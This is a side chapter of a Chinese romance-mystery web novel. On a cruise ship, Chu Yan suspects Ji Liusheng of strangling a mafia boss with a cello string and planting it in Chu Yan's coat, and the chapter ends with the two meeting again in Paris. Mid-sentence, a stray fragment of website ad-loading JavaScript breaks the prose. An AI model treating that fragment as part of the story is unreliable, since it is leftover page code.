纪榴生正背对着他站在隔壁阳台,形容昳丽,身上竟然穿着那件昨晚楚言赌气留在栏杆上的黑色大衣。 天际线的远处,一抹微弱的橙光慢慢显现,仿佛天空被谁轻轻划开了一道裂缝,整个海面被镀上了一层金色的光辉,波光粼粼,每一道波纹都像是在追逐着旭日的脚步。 柔和的橙光洒在纪榴生轮廓深隽的侧脸上,美得仿佛一幅传世名画。楚言的心跟着柔软起来。 许是楚言拉开推拉门的声音引起了纪榴生的注意,他扭转过头,晶润的眼眸里带着年轻人特有的倔强看向楚言。 “醒这么早?不是专门看日出的吧?”楚言问。 纪榴生低了低头,嗓音比之平时要低沉不少,好像还沉浸在刚刚一个人看海的气氛里,“我喜欢看日出,不行吗?” 楚言一瞬间觉得纪榴生的神情像个孩子,可转念一想,他确实也只有二十出头的年纪,比他小了十几岁,真的是个孩子。 “行啊,喜欢看就看呗,你不是也说了,我管不着你。” “有人管着也挺好的。我总听同学朋友抱怨父母如何如何管的多,管的严,其实我挺羡慕他们的。有人管你,说明他们还对你抱有期待,还在关注你,也代表着——退路。如果走不下去了,你还能回到那个总是管你的人身边去。楚先生,你说对吗?” “没人管你吗?你的家人呢?”楚言说着打了个寒战,早晨气温低,他只穿了一套薄薄的睡衣。 纪榴生看着他,脸上的表情仿佛在后悔刚刚说了那一席话,为“交浅言深”而略显尴尬。纪榴生低头看了一眼自己身上的大衣,紧了紧衣领,说:“怎么办,我现在还不想把大衣还给你。” 楚言被他逗笑了,温声道:“穿着吧,本来就是要拿给你的,可惜你昨晚没等我就回屋了。” 说完,楚言的胳膊越过栏杆,拿起一旁昨晚纪榴生剩的的小半杯烈酒,杯壁上似乎还残留着纪榴生的唇印。 烈酒可以驱寒,楚言仰起头,硕大的喉结上下滑动,将一杯被海风吹咸了的伏特加一饮而尽。 “还没告诉我,你的家人呢?”楚言问。 纪榴生的额发被轻柔的海风撩起来,脸上原本倔强的孩子气转瞬即逝,取而代之的是那游刃有余的轻浮笑容。 “楚先生似乎很喜欢听故事,可惜了,我没有故事。”纪榴生摊了摊手,“我只是个闲来无事想要傍上有钱老头,赚点儿零花钱的庸俗大学生罢了。” “你昨天就是这样跟警察讲的吗?”楚言盯住纪榴生的眼睛,“那警察有没有问你,既然傍上了有钱老头,为什么大半夜的还和我在一起?” “问了。” “你怎么答的?” “这答案不是显而易见吗?”纪榴生眨了眨眼睛。 楚言等他继续说下去。 “如果可以,所有人应该都希望能和一个快死了的有钱老头结婚,然后和他英俊潇洒的年轻保镖上|床吧?”纪榴生说得理所当然、面不改色,“我自然是对警察说,楚先生你身体好,我们很合拍了。” “哈哈哈!说的不错。”楚言仰头笑了起来,之后迅速欺近纪榴生,反问他,“你的性|爱观很开放,听起来是个惯犯了,那你告诉我,为什么昨天试了好几次才勉强放进去?最开始那动作生疏得倒像是头一回?” 纪榴生脸上忽然一阵红一阵白,不自然地挪开视线,咬牙道:“你不要得了便宜还卖乖!” 楚言的表情从调笑瞬间切换成了严肃的冷脸。 “好,我不卖乖。但是纪榴生,我很好奇,如果昨晚我没有出现在甲板,你打算怎么办?随便找个别人跟他做吗?不论男女,是不是谁都可以帮你做假的不在场证明?” “!” 纪榴生猛地抬起头,如果楚言没看错,那双眼睛里刹那间流露出了森寒的杀意。插进大衣口袋里的手和胳膊因为肌肉猛地收紧而显得十分僵硬。 纪榴生,你到底是什么人? “你是谁?为什么杀人?”楚言问道。 两人的距离很近,其间的空气仿佛凝滞了一般,漫长的几秒钟过后,纪榴生后退了两步,淡淡一笑。 “楚先生,我不明白你在说什么,凡事都是要讲证据的。我自问没有做什么对不起你的事情,你就不要吓唬我、欺负我了。大衣还给你,以后我们井水不犯河水。” 纪榴生说完脱下身上的大衣,恭恭敬敬地双手捧到楚言面前。 “你怕我?”楚言没有伸手去接。 纪榴生摇摇头,又点点头,“我当然怕你,因为你手中有钱有权力,而我什么也没有。不过——”深邃幽蓝的眼睛里忽而透出一抹不明意味的笑意,“不过你也应该怕我,因为我什么也没有,所以自然也没什么好失去的。” 纪榴生把大衣搭在两人中间的白色栅栏上,“楚先生,你看这黄澄澄的日出,像不像大海新孵出的一个蛋?又是宁静和平的一天,祝你旅途愉快。我可以走了吗?” 纪榴生站在那儿,似乎在等着楚言发话允许他离开。仿佛如果楚言同意,就代表着他不会继续找他的麻烦,犹如一张君子协议。 楚言其实从没想过向任何人揭发检举纪榴生,可他也不想让纪榴生回屋去。这人虽然浑身是刺,但却有一种变幻莫测的吸引力——你永远无法预测他的下一个行动,无法确认他哪句话是真话,他会在你毫无防备的时候热情地扑向你,又会在你意犹未尽时决然离去。 这朵法兰西带刺的玫瑰,它终究会为谁而绽放?谁能拥有它的真心? “你……你以后……以后不要做危险的事了,安定下来,自然会遇到你的退路,遇到爱你的人。” 楚言这样和缓的语气,让纪榴生露出放心了的神色。 他说:“谢谢楚先生的劝告,不过,所有爱我的人最后的结局都只有一个。” “什么?” 纪榴生嘴角微微抽搐,答道:“悔不当初。” “……” 楚言这一刻只觉得心里很难受,酸酸涩涩,不知为何,他希望纪榴生更温暖一些,希望他笑是因为快乐,他总觉得眼前的纪榴生血管里的血是凉的。 “为什么这么说?你不希望有人爱你,给你一个家吗?” 纪榴生的表情忽然认真了起来,“你是说两个人住在一起,每天清早睁眼就看见他的脸,晚上不管多晚,知道他一定会回家?” “嗯。” “哦……”纪榴生诘问,“真是那样还有什么意思呢?我怕是会被闷死。” 楚言一时竟不知如何应答。 “楚先生,我也奉劝你一句,不要同情心泛滥就轻信于人,这样会让爱你的人担心。” 楚言苦笑了一下,轻声说:“没有人爱我。” 纪榴生带着似乎是歉意的情绪看着他良久,最终什么也没说,微不可查地叹了口气后转身大步走回了自己的客房。 远处的太阳已经从海平面升起了,海面一片金光,空茫又华丽。 楚言又独自站了一会儿,拿起黑色羊驼绒大衣,也进了屋。 今天似乎真的是和平安适的一个普通日子,楚言坐在桌前用pad看新闻,抽空和京北开了个视讯会议。忙完这些,早餐已经被送到了餐厅,满室浓郁的咖啡香。 西裔佣人在一旁叠被子,收拾卫生,随手准备将抛在沙发上的大衣收走。 楚言用余光看见后,立刻用英语阻止,“等等,那个递给我吧!” 待佣人走后,楚言把头深深地埋进了大衣里,一股海风的气息传入鼻腔。仅仅是闻着这个味道,楚言脑海中立刻浮现出纪榴生靠着船舷看日出的模样,漂亮又寂寞。 楚言拉起大衣,抖了两下,准备穿在自己身上。这时,一个物件从大衣兜里掉了出来,落在书桌下面的地毯上。 楚言好奇地弯下腰,弓着背趴在地上伸手把那东西从桌子底下够了出来,拿在手上。 那是一根钢芯合金的白银色铜丝,被卷成巴掌大的几圈。 仿佛是什么五金的配件。 他不记得自己见过这个东西?怎么会在自己的大衣兜里? 如果不是他的,那是谁放进他口袋里的呢?这件衣服除了他,只有一个人穿过。 楚言攥着这一卷合金铜丝,拧着眉想得出神,忽然间,他像见鬼似的睁大了眼睛,视线再次落在铜丝上时,脸色白得像纸。 “纪榴生……你、你……” 楚言即使小声喃喃自语,声音也在打颤。 …… 笃笃笃——有人在敲门。 没等楚言应门,一队荷枪实弹的警察便闯了进来。为首的警官看着沙发上惬意喝着咖啡的男人,恭敬地欠了欠身,用英语解释道:“先生,因为昨晚发生了命案,我们奉命对这个房间进行搜查取证,希望不会打扰您太久。这是我们的搜查令,谢谢你的配合。” 楚言并没有意思去看那张递过来的有着一串签名的搜查令,只是懒怠地摆摆手,说道:“你们自便,小点声,我有点儿头疼。” 警长模样的大胡子男人一边陪着笑脸,一边给其他人打了个手势,一对警员立马开始地毯式搜索整个套房。 “你们是只搜我的房间吗?”楚言斜睨了警长一眼,似乎对这些人把他行李箱里的衣物都翻乱了很不爽。 “不不,您不要误会,对于昨晚出现在甲板上的每位客人的房间我们都会搜查,隔壁房间现在也正在被搜查呢。”警长答道。 楚言点点头,接着全程坐在沙发上喝着咖啡看报纸。 “报告警长,这罐子要打开搜查吗?”一个矮个子的警员抱着一个白玉的椭圆形罐子走到警长面前。 警长接过来,仔细掂量了一下,很重。罐子做工相当考究,外面刻了一圈金色的外国文字,底托上一圈金色莲花纹样。 “楚先生,请问这是什么古董吗?方便我们打开检查一下吗?” 楚言漫不经心地转过头,看见警长手中的白玉罐子后露出明显不悦的表情,眉间纹深深地浮出来。他放下手中的报纸,走了过来。 “这是我父亲的骨灰,今天傍晚邮轮抵港时,我会把骨灰撒入大海,这也是我这次旅行的唯一目的。”楚言逼视着警长,不怒自威,低沉地说道,“你们想打开检查,可以,但是如果不能原封不动地帮我放回去,我一定会请最好的律师告你们。” 警长表情僵住了,端着白玉骨灰坛的手都不自然地僵硬了,半晌才笑嘻嘻地把东西递给了小个子警员。小个子警员也一脸忌讳、不情愿地接了过来。 “不,不用了,误会,您误会了……” 楚言狠狠瞪了警长一眼,又坐会沙发上,使劲捏了捏鼻梁。 直到警察们收队离开,楚言都没再给过他们什么好脸色,警长悻悻地不迭道歉。过了一会儿,客房服务又送了一个豪华果盘和一支高级的玫瑰气泡酒,作为赔礼。 楚言双手将父亲的骨灰坛郑重地摆回架子上,僵直的身体稍稍舒展了些。 “爸,谢谢你救了我……” 楚言清楚地记得昨晚第一次和警察问话时,和楚家有利益关系的一位警察告诉他说,尼古拉是被人用锁状物勒死的,凶手力量很大,意志果决,仅仅一道勒痕,直接切断了尼古拉的气管以及颈侧大动脉,甚至没有在死者皮肤表面留下任何指纹。 如果是这样,凶手的指纹和DNA应该都留在了凶器上。 可是凶器哪里去了? 楚言记得他在穿上见到纪榴生的时候,他在拉一首大提琴,如果他没猜错,那卷钢芯合金的白银色铜丝便是大提琴的一根琴弦。 纪榴生应该早就擦除了琴弦上的指纹,而不明所以摸到琴弦的人,在琴弦上留下指纹的人,自然而然就会成了最大的嫌疑人吧。 黑手党的势力盘根错节,一旦被认定有嫌疑杀了尼古拉,不知道将会引发什么样的滔天大祸。 纪榴生啊纪榴生,我到底该不该给你个教训呢? 邮轮在黄昏时分抵达意大利阿蒂斯港口,门口的警察撤走了,楚默早就带着一队保镖等在门口了。见楚言安然无恙地走了出来,楚默才长舒了一口气。 “哥,真是吓死我了!我昨晚喝高了,一早才听人说你被软禁了,你没事儿吧?” 楚言转过头,目光落在隔壁房间的门上,门开了,一个打扫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卫生的工作人员走了出来,见门口走廊一对黑西装的保镖,吓了一跳。 楚言问道:“这屋里的客人呢?” 保洁员愣愣地摇摇头:“屋里没人啊,客人应该早就下船了吧,你们、你们让一让,我还要继续收拾房间……” 楚言侧了侧身,保洁员刷开对面的房门,慌忙钻了进去,生怕惹上麻烦。 “哥,你脸色怎么这么难看?我听说你昨晚和尼古拉的那个小情人一起在甲板,这到底怎么回事?” 楚默一脸疑惑,可他大哥却沉默不语,抱着父亲的骨灰一个人大步往前走去…… 墙倒众人推。下了船后没多久,楚言就听说了关于意大利黑手党大洗牌的新闻。各方势力互相缠斗,尼古拉的集团完全被各方瓜分,一些尼古拉生前的秘密也随之曝光在太阳底下。 楚默指着一则报道,倒抽了一口凉气。 “没想到这老头儿在印度还有几座血液农场,专门囚禁一批人,像圈养奶牛一样长期抽他们的血出去卖。两年前警方突袭,他们估计是提前得到消息把那些人全整死了,太吓人了,现在才被报道出来。” 楚言看着这则新闻的最后,一串遇难者名单和简介,其中两个名字引起了他的注意。 Victor Ji (维克多·纪)华裔混血军官,曾是一名格斗专家。 Mei Liu (刘眉)华裔女音乐家,是维克多的妻子。 他们这一批人是在印度做无国界志愿者时被囚禁到血液农场,过了长达八年的非人生活,两年前被虐杀。 楚言盯着这则报道,久久无法回过神来。 …… 时间一晃就过了半年。 二月份的巴黎并不是旅游旺季,第九区是歌剧院区,入夜时分的街上行人稀少,除了莫加尔多剧院门口。 剧院门口的巨幅宣传海报上用中法双语写着——《夜归鹿山》东方音乐剧全球巡演,农历新年专场,巴黎站。主演:易卿尘。 楚言在二楼侧翼私人包厢欣赏了全程,此刻,易卿尘正和所有演职人员一起在台上谢幕。台下经久不息的掌声和不断跑上台向他送花的观众让这场谢幕比预计的还要更慢。 楚言并不想被人撞见,于是穿上大衣,拉紧了领口,一个人默默离开包厢,穿过甬道走下了楼梯。 路过一楼楼梯间时,却还是被人给认出来了。 那个曾经是让他嫉妒到发狂的人,一脸惊讶地看着他,两人一时间都不知道说什么好。 还是杨原野先开了口,赢家一般都显得很大方。 “没想到你在巴黎……来都来了,着急走什么?不和他打个招呼吗?” 楚言很意外杨原野会这么说,不知道是不是故意在阴阳他,毕竟杨原野这人说话本来就拽。 “算了,他应该也不想见我吧。” 经历了后来的那些事,楚言猜想,易卿尘应该是很厌恶他吧。 “我不想让你俩见面倒是真的,”杨原野戏谑地说,“除了你,我不想让他见的人还多着呢!最好他眼里只有我一个。不过,小尘没有不想见你,你别冤枉他。” 楚言根本不信,眼神一飞,哂笑了两下,杨原野看了瞪他一眼。 “上个月我俩开车路过盛世娱乐的楼,我问过他对你是什么感觉,我倒是希望他说他很烦你。” “他怎么说?”楚言问道。 “小尘说他依然很感谢你,说你是他的贵人。他没在开玩笑,我可是问了他两遍。” “……” “他说如果没有你,他可能永远不会再回京北,没有你,他的歌就不会被人听见,更重要的是,”杨原野轻轻叹了口气,“更重要的是,如果没有你救他,他可能早已经死了。所以说到底,最该谢你的人其实是我,楚总,以后有什么我能帮忙的,吱一声。” 杨原野用力拍了两下楚言的肩膀。 楚言一时心里五味杂陈,如果没有他,易卿尘根本就不会被卷到那些纷争里去,杨原野也不会差点没命,如今他们却在感谢他。 知道易卿尘没有怨恨他,甚至怀着感激地想起他,楚言感觉似乎有一个很沉重的包袱从肩上卸了下去,后背仿佛一瞬间都没那么紧绷了。这感觉像了了一桩心事。 杨原野忽然一脸警惕的看着他,“你笑啥?别打我媳妇主意,有本事出了门自己找一个去!” 见楚言似笑非笑地不说话,杨原野翻了个白眼,转头就要走,走了两步又扭头问道:“这大半夜的,你们巴黎有什么好吃的?” “我告诉你也行,不过你要跟小尘说,馆子是我选的。” “妈的,我问谷歌也比问你强啊,”杨原野挤出一个假笑,侧身让出了过道的路:“谢谢,慢走不送!” 楚言哈哈大笑,拍了怕杨原野的肩膀,转身大步走出了剧院。 今夜的巴黎没什么风,天空中肉眼可见几颗璀璨闪耀的星星,楚言一个人走在街上,觉得前所未有的轻松释然,仿佛一个新纪元的开始,一切都充满未知的希望。 楚言仰头看着几万光年以外的星星,想起有个人曾经告诉他,法国有句谚语,“有了如果,我们就能把巴黎装进瓶子里了”。 如果可以,他今夜想做个强盗,洗劫巴黎所有的星星,装进瓶子里。 石板路静谧地铺向远方,他站在马路一边等人行道的信号灯,视线不经意间扫过街对面的咖啡馆。咖啡馆门口站着两个男人,正在交谈。 左边的男人是个精悍的大胡子,而站在右边的那个身穿一件oversize的复古巴宝莉风衣,浅栗色的卷发被束在脑后。他一手插兜,边说话边将一支细烟塞进嘴里,一阵白色烟雾从他的鼻子里缓缓地喷出,由于肌肉收缩,带动他优雅细长的脖颈向内微微凹陷,好看极了。 信号灯嘟嘟地响起,行人陆续穿过街道。 大胡子姿势暧昧地抬起手,手指刚刚要碰到对方的脸颊,一个声音从背后响起。 “榴生!” 穿风衣的男人猛地回过头,微微怔了怔,接着露出了一个复杂的笑容。 深蓝色的眼眸中,遥不可及的星星在轻轻摆动。 楚言知道自己应该要对纪榴生兴师问罪的。可是他把纪榴生拉到身边的手势和力度都太过温柔,怎么看都不像来发难的,倒像偶遇心上人般兴奋又紧张。 如果没记错,这是第三次邂逅了。 纪榴生,这次你可以乖一点儿吗? ———番外完结。